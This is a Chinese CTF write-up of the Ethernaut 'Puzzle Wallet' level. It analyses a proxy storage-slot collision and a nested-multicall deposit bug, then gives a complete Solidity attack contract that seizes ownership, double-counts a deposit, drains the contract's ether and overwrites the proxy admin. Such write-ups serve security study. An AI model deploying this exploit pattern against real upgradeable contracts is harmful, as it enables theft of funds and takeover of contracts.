Puzzle Wallet 1. 题目要求
题目要求:成为代理合约中的管理者,即成为PuzzleProxy
合约中的admin
。
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 COPY // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma experimental ABIEncoderV2; import "../helpers/UpgradeableProxy-08.sol"; contract PuzzleProxy is UpgradeableProxy { address public pendingAdmin; address public admin; constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) { admin = _admin; } modifier onlyAdmin { require(msg.sender == admin, "Caller is not the admin"); _; } function proposeNewAdmin(address _newAdmin) external { pendingAdmin = _newAdmin; } function approveNewAdmin(address _expectedAdmin) external onlyAdmin { require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin"); admin = pendingAdmin; } function upgradeTo(address _newImplementation) external onlyAdmin { _upgradeTo(_newImplementation); } } contract PuzzleWallet { address public owner; uint256 public maxBalance; mapping(address => bool) public whitelisted; mapping(address => uint256) public balances; function init(uint256 _maxBalance) public { require(maxBalance == 0, "Already initialized"); maxBalance = _maxBalance; owner = msg.sender; } modifier onlyWhitelisted { require(whitelisted[msg.sender], "Not whitelisted"); _; } function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { require(address(this).balance == 0, "Contract balance is not 0"); maxBalance = _maxBalance; } function addToWhitelist(address addr) external { require(msg.sender == owner, "Not the owner"); whitelisted[addr] = true; } function deposit() external payable onlyWhitelisted { require(address(this).balance <= maxBalance, "Max balance reached"); balances[msg.sender] += msg.value; } function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted { require(balances[msg.sender] >= value, "Insufficient balance"); balances[msg.sender] -= value; (bool success, ) = to.call{ value: value }(data); require(success, "Execution failed"); } function multicall(bytes[] calldata data) external payable onlyWhitelisted { bool depositCalled = false; for (uint256 i = 0; i < data.length; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload(add(_data, 32)) } if (selector == this.deposit.selector) { require(!depositCalled, "Deposit can only be called once"); // Protect against reusing msg.value depositCalled = true; } (bool success, ) = address(this).delegatecall(data[i]); require(success, "Error while delegating call"); } } }
2. 分析 2.1 这是一道涉及到代理合约的题。本质上proxy
合约最主要的函数为,回调函数,该回调函数采用了内联汇编的方式来实现,极大的提高的代码的扩容性。其采用的是delegatecall
的方式进行函数调用,因为其调用方式,所以逻辑合约中操作的数据是从代理合约中获取。
2.2 有段时间没碰代理合约了,有点细节还是要注意的。就比如采用delegatecall
的调用方式,其代码会被复制到代理合约中,就比如这里,我但是懵了一会。
这里我是模拟题目,我以owner
的身份将指定的地址加入到白名单,在PuzzleWallet
中查看该地址是否被列入白名单,结果是显示true
,但是我通过直接发送calldata
的形式,触发代理合约的回调函数,结果显示其未被列入白名单。我当时想了好久,原来是因为,在代理合约中,这些操作不在代理合约中执行过,即该地址在代理合约中未被记录,所以其返回值为false
。所以只能在代理合约中执行加入白名单才行。
2.3 又有,该题最本质的漏洞在于,***插槽冲突
***。而且,代理模式读取的数据是代理合约中的变量,这一行为意味着,逻辑合约中的一些断言,比如require(msg.sender == owner, "Not the owner");
将不与逻辑合约有关系,其owner
的值,实际上是代理合约pendingAdmin
的值,只要通过proposeNewAdmin()
就可以成为钱包的所有者,可以操作钱包(逻辑合约)。
2.4 同理,只有修改逻辑合约中的变量,便会反作用于代理合约。即调用setMaxBalance()
函数,明面上是修改maxBalance
实际上是修改PuzzleProxy admin
的值。
2.5 所以本题关键在于,成功调用setMaxBalance()
1 2 3 4 COPY function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { require(address(this).balance == 0, "Contract balance is not 0"); maxBalance = _maxBalance; }
onlyWhitelisted
修饰器,我已经有办法成为钱包的所有者,可以将某一地址添加到白名单之中。最主要的是通过断言require(address(this).balance == 0, "Contract balance is not 0");
。因为在PuzzleProxy
合约中有0.001ether
所以要想办法将钱取出来。
2.6 如果是正常按照execute
进行取钱的话,是不可能将合约的余额置空的。而multicall
函数便可以实现,该函数有一个漏洞,便是不检查自身函数的调用,因为判断判断条件为局部变量,而修改的balances
映射则是成员变量,每当调用一个函数,便会开辟一个新的内存空间(以栈的形式),此时函数体中的局部变量就会恢复成默认值。这就是漏洞所在,因为函数检查不能多次调用deposit()
,以depositCalled
该变量进行判断,只要进行自身调用,即使之前执行过deposit()
函数,但在新·开辟的内存空间中,该值还是false
,而且他们修改的值都是成员变量,这意味着,可以简单的实现:存一取多
。
通过一个简单的示例验证猜想:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 COPY contract Proxy { mapping(address => uint256) public balances; address public implementation; constructor(address implementation_){ implementation = implementation_; } fallback() external payable { address _implementation = implementation; assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } } contract PuzzleWallet { mapping(address => uint256) public balances; function deposit() external payable { require(address(this).balance <= 1 ether, "Max balance reached"); balances[msg.sender] += msg.value; } function multicall(bytes[] calldata data) external payable { bool depositCalled = false; for (uint256 i = 0; i < data.length; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload(add(_data, 32)) } if (selector == this.deposit.selector) { require(!depositCalled, "Deposit can only be called once"); // Protect against reusing msg.value depositCalled = true; } (bool success, ) = address(this).delegatecall(data[i]); require(success, "Error while delegating call"); } } } contract Hack { Proxy wallet; bytes[] data1 = new bytes[](1); bytes[] data2 = new bytes[](2); constructor(address payable _wallet) { wallet = Proxy(_wallet); data1[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector); data2[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector); data2[1] = abi.encodeWithSelector(PuzzleWallet.multicall.selector, data1); } function attack() public payable { // 将proxy中的余额转走 {value:0.001 ether} (bool success2, ) = address(wallet).call{value:0.001 ether}(abi.encodeWithSelector(PuzzleWallet.multicall.selector, data2)); require(success2, "multicall() is fail"); } function repay() public { selfdestruct(payable(msg.sender)); } }
因为数据在代理合约(Proxy)中加载,所以在其合约中写入balances
映射,用于检查是否实现了存一取多。
部署wallet==>将wallet传入proxy构造器并部署==> 将proxy传入hacker部署,调用attack函数,并支付0.001ether,回到proxy中查看调用者的balances,显示为0.002ether,猜想正确.
3. 解题 攻击合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 COPY contract Hack { PuzzleProxy proxy; bytes[] data1 = new bytes[](1); bytes[] data2 = new bytes[](2); constructor(address payable _proxy) { proxy = PuzzleProxy(_proxy); data1[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector); data2[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector); data2[1] = abi.encodeWithSelector(PuzzleWallet.multicall.selector, data1); } function attack() public payable { // 获取钱包的所有权 proxy.proposeNewAdmin(address(this)); // 将本地址列入白名单 (bool success1, ) = address(proxy).call(abi.encodeWithSignature("addToWhitelist(address)", address(this))); require(success1, "addToWhitelist() is fail"); // 骗取balance的值 (bool success2, ) = address(proxy).call{value:0.001 ether}(abi.encodeWithSelector(PuzzleWallet.multicall.selector, data2)); require(success2, "multicall() is fail"); // 将proxy中的余额转走 (bool success4, ) = address(proxy).call(abi.encodeWithSelector(PuzzleWallet.execute.selector, address(this), 0.002 ether, "")); // 获取admin身份 (bool success3, ) = address(proxy).call(abi.encodeWithSignature("setMaxBalance(uint256)", uint(uint160(msg.sender)))); require(success3, "setMaxBalance() is fail"); } function repay() public { selfdestruct(payable(msg.sender)); } receive() external payable {} }
攻击方式:通过生成的示例部署Hack,然后调用attack()
函数,并支付0.001ether
解题成功